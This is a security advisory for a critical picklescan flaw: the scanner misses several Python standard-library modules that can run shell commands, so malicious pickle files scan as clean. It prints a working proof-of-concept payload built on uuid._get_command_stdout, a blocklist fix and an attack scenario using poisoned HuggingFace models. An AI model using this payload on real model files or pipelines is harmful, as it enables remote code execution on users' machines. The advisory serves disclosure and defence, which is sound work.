GHSA-g38g-8gr9-h9xp: picklescan: Allowlist Bypass evades input filtering

GHSA-g38g-8gr9-h9xp CRITICAL
Published March 3, 2026
CISO Take

picklescan v1.0.3 and earlier are fundamentally broken as a security control — a CVSS 9.8 RCE bypass exists using standard Python stdlib modules that the scanner reports as CLEAN. If your ML pipelines or model registries rely on picklescan for pickle safety validation, you have zero effective protection right now. Upgrade to picklescan 1.0.4 immediately and treat all pickle files loaded since picklescan adoption as potentially compromised.

What is the risk?

CRITICAL. CVSS 9.8 with no authentication, no user interaction beyond the normal model-loading workflow, and a working PoC that any developer can reproduce in minutes. The blast radius is exceptionally wide: HuggingFace Hub uses picklescan server-side, meaning any model file hosted there could be weaponized and served to downstream users with a false CLEAN badge. The blocklist architecture has been broken since v0.0.21 — this is not a regression, it is a design flaw that persisted across all releases. Organizations trusting picklescan scan results in CI/CD gates have had a false sense of security for the entire tool's lifetime.

What systems are affected?

Package Ecosystem Vulnerable Range Patched
picklescan pip < 1.0.4 1.0.4
413 3 dependents Pushed 1mo ago 68% patched ~12d to patch Full package profile →

Do you use picklescan? You're affected.

How severe is it?

CVSS 3.1
9.8 / 10
EPSS
N/A
Exploitation Status
No known exploitation
Sophistication
Trivial

What is the attack surface?

AV AC PR UI S C I A
AV Network
AC Low
PR None
UI None
S Unchanged
C High
I High
A High

What should I do?

8 steps
  1. PATCH

    Upgrade picklescan to v1.0.4 immediately — this is the patched release.

  2. AUDIT

    Review all pickle files scanned by picklescan <=1.0.3 in the last 90 days as potentially unverified.

  3. BLOCK

    If immediate upgrade is not possible, add the following to your picklescan config blocklist: uuid, _osx_support, _aix_support, _pyrepl, imaplib, test, test.support.

  4. REPLACE

    Adopt safetensors format for model storage — it is designed to be safe by construction and does not allow arbitrary code execution.

  5. DEFENSE-IN-DEPTH: Add secondary scanning with fickling (Trail of Bits) which uses a different detection approach.

  6. SANDBOX

    Load untrusted models in an isolated container/VM with no network access and minimal privileges; treat model loading as code execution.

  7. DETECT

    Alert on pickle loads from externally sourced files in production.

  8. ARCHITECTURE

    Migrate to allowlist-based pickle validation — blocklist approaches are fundamentally unauditable given Python's stdlib size.

How is it classified?

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act
Article 15 - Accuracy, robustness and cybersecurity Article 9 - Risk management system
ISO 42001
8.3 - AI risk assessment 8.4 - AI system supply chain A.6.2.4 - Risk treatment A.8.4 - AI system testing
NIST AI RMF
GOVERN 6.1 - AI Supply Chain Risk Management MANAGE 2.2 - Risk Treatment and Incident Response
OWASP LLM Top 10
LLM03:2025 - Supply Chain Vulnerabilities LLM05 - Supply Chain Vulnerabilities

Frequently Asked Questions

What is GHSA-g38g-8gr9-h9xp?

picklescan v1.0.3 and earlier are fundamentally broken as a security control — a CVSS 9.8 RCE bypass exists using standard Python stdlib modules that the scanner reports as CLEAN. If your ML pipelines or model registries rely on picklescan for pickle safety validation, you have zero effective protection right now. Upgrade to picklescan 1.0.4 immediately and treat all pickle files loaded since picklescan adoption as potentially compromised.

Is GHSA-g38g-8gr9-h9xp actively exploited?

No confirmed active exploitation of GHSA-g38g-8gr9-h9xp has been reported, but organizations should still patch proactively.

How to fix GHSA-g38g-8gr9-h9xp?

1. PATCH: Upgrade picklescan to v1.0.4 immediately — this is the patched release. 2. AUDIT: Review all pickle files scanned by picklescan <=1.0.3 in the last 90 days as potentially unverified. 3. BLOCK: If immediate upgrade is not possible, add the following to your picklescan config blocklist: uuid, _osx_support, _aix_support, _pyrepl, imaplib, test, test.support. 4. REPLACE: Adopt safetensors format for model storage — it is designed to be safe by construction and does not allow arbitrary code execution. 5. DEFENSE-IN-DEPTH: Add secondary scanning with fickling (Trail of Bits) which uses a different detection approach. 6. SANDBOX: Load untrusted models in an isolated container/VM with no network access and minimal privileges; treat model loading as code execution. 7. DETECT: Alert on pickle loads from externally sourced files in production. 8. ARCHITECTURE: Migrate to allowlist-based pickle validation — blocklist approaches are fundamentally unauditable given Python's stdlib size.

What systems are affected by GHSA-g38g-8gr9-h9xp?

This vulnerability affects the following AI/ML architecture patterns: model registries, training pipelines, model serving, MLOps/CI-CD pipelines, agent frameworks, Jupyter notebook environments.

What is the CVSS score for GHSA-g38g-8gr9-h9xp?

GHSA-g38g-8gr9-h9xp has a CVSS v3.1 base score of 9.8 (CRITICAL).

What is the AI security impact?

Affected AI Architectures

model registriestraining pipelinesmodel servingMLOps/CI-CD pipelinesagent frameworksJupyter notebook environments

MITRE ATLAS Techniques

AML.T0010.001 AI Software
AML.T0010.003 Model
AML.T0011.000 Unsafe AI Artifacts
AML.T0018.002 Embed Malware
AML.T0058 Publish Poisoned Models
AML.T0074 Masquerading
AML.T0107 Exploitation for Defense Evasion

Compliance Controls Affected

EU AI Act: Article 15, Article 9
ISO 42001: 8.3, 8.4, A.6.2.4, A.8.4
NIST AI RMF: GOVERN 6.1, MANAGE 2.2
OWASP LLM Top 10: LLM03:2025, LLM05

What are the technical details?

Original Advisory

## Summary picklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely. ## Severity **Critical** (CVSS 9.8) — Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub. ## Affected Versions - picklescan <= 1.0.3 (all versions including latest) ## Details ### Unblocked RCE Modules | Module | Function | RCE Mechanism | picklescan Result | |--------|----------|--------------|-------------------| | `uuid` | `_get_command_stdout(cmd, *args)` | `subprocess.Popen((cmd,) + args)` | CLEAN | | `_osx_support` | `_read_output(cmdstring)` | `os.system()` via temp file | CLEAN | | `_osx_support` | `_find_build_tool(toolname)` | Command injection via `%s` | CLEAN | | `_aix_support` | `_read_cmd_output(cmdstring)` | `os.system()` | CLEAN | | `_pyrepl.pager` | `pipe_pager(text, cmd)` | `subprocess.Popen(cmd, shell=True)` | CLEAN | | `_pyrepl.pager` | `tempfile_pager(text, cmd)` | `os.system(cmd + ...)` | CLEAN | | `imaplib` | `IMAP4_stream(command)` | `subprocess.Popen(command, shell=True)` | CLEAN | | `test.support.script_helper` | `assert_python_ok(*args)` | Spawns `python` subprocess | CLEAN | All 8 functions are in Python's standard library and importable on all platforms. ### Scanner Output ``` $ picklescan -p uuid_rce.pkl No issues found. $ picklescan -p aix_rce.pkl No issues found. $ picklescan -p imaplib_rce.pkl No issues found. ``` Meanwhile: ``` $ python3 -c "import pickle; pickle.loads(open('uuid_rce.pkl','rb').read())" uid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone) ``` ### Blocklist Analysis picklescan v1.0.3's `_unsafe_globals` dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear: - `uuid` — not blocked - `_osx_support` — not blocked - `_aix_support` — not blocked - `_pyrepl` — not blocked - `_pyrepl.pager` — not blocked (parent wildcard doesn't apply since `_pyrepl` isn't blocked) - `imaplib` — not blocked - `test` — not blocked - `test.support` — not blocked - `test.support.script_helper` — not blocked ### Proof of Concept ```python import struct, io, pickle def sbu(s): b = s.encode() return b"\x8c" + struct.pack("<B", len(b)) + b # uuid._get_command_stdout — arbitrary command execution payload = ( b"\x80\x04\x95" + struct.pack("<Q", 55) + sbu("uuid") + sbu("_get_command_stdout") + b"\x93" + sbu("bash") + sbu("-c") + sbu("id") + b"\x87" + b"R" # TUPLE3 + REDUCE + b"." # STOP ) # Scan: 0 issues from picklescan.scanner import scan_pickle_bytes result = scan_pickle_bytes(io.BytesIO(payload), "test.pkl") assert result.issues_count == 0 # CLEAN # Execute: runs `id` command pickle.loads(payload) ``` ### Tested Against - picklescan v1.0.3 (commit b999763, Feb 15 2026) — latest release - picklescan v0.0.21 — same result (modules never blocked in any version) ## Impact Any system using picklescan for pickle safety validation is vulnerable. This includes: - **HuggingFace Hub** — uses picklescan server-side to scan uploaded model files - **ML pipelines** — any CI/CD or loading pipeline using picklescan - **Model registries** — any registry relying on picklescan for safety checks An attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user. ## Suggested Fix Add to `_unsafe_globals` in picklescan: ```python "uuid": "*", "_osx_support": "*", "_aix_support": "*", "_pyrepl": "*", "imaplib": {"IMAP4_stream"}, "test": "*", ``` **Architectural recommendation:** The blocklist approach is fundamentally flawed — new RCE-capable stdlib functions can be discovered faster than they are blocked. Consider: 1. Switching to an allowlist (default-deny) for permitted globals 2. Treating ALL unknown globals as dangerous by default (currently marked "Suspicious" but not counted as issues) ## Resources - picklescan source: `scanner.py` lines 120-219 (`_unsafe_globals`) - Python source: `Lib/uuid.py`, `Lib/_osx_support.py`, `Lib/_aix_support.py`, `Lib/_pyrepl/pager.py`, `Lib/imaplib.py`

Exploitation Scenario

Adversary creates a HuggingFace account and uploads a 'fine-tuned LLaMA 3.1' model as a malicious .pkl file using uuid._get_command_stdout to establish a reverse shell. HuggingFace Hub runs picklescan on upload — scanner reports 0 issues, model receives the CLEAN badge and is publicly listed. A data scientist at a target organization discovers the model via search, clones it with git lfs, and loads it with torch.load() in a Jupyter notebook running inside the corporate network. At load time, the pickle payload executes: it calls bash -c to download and execute a stager, establishing persistence on the ML workstation. From there, the adversary laterates to the model registry, training cluster, and data stores. The entire kill chain from upload to execution requires no exploit sophistication — only knowledge of Python's pickle protocol.

Weaknesses (CWE)

CWE-184 — Incomplete List of Disallowed Inputs: The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.

  • [Implementation] Do not rely exclusively on detecting disallowed inputs. There are too many variants to encode a character, especially when different environments are used, so there is a high likelihood of missing some variants. Only use detection of disallowed inputs as a mechanism for detecting suspicious activity. Ensure that you are using other protection mechanisms that only identify "good" input - such as lists of allowed inputs - and ensure that you are properly encoding your outputs.

Source: MITRE CWE corpus.

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Timeline

Published
March 3, 2026
Last Modified
March 3, 2026
First Seen
March 24, 2026

Related Vulnerabilities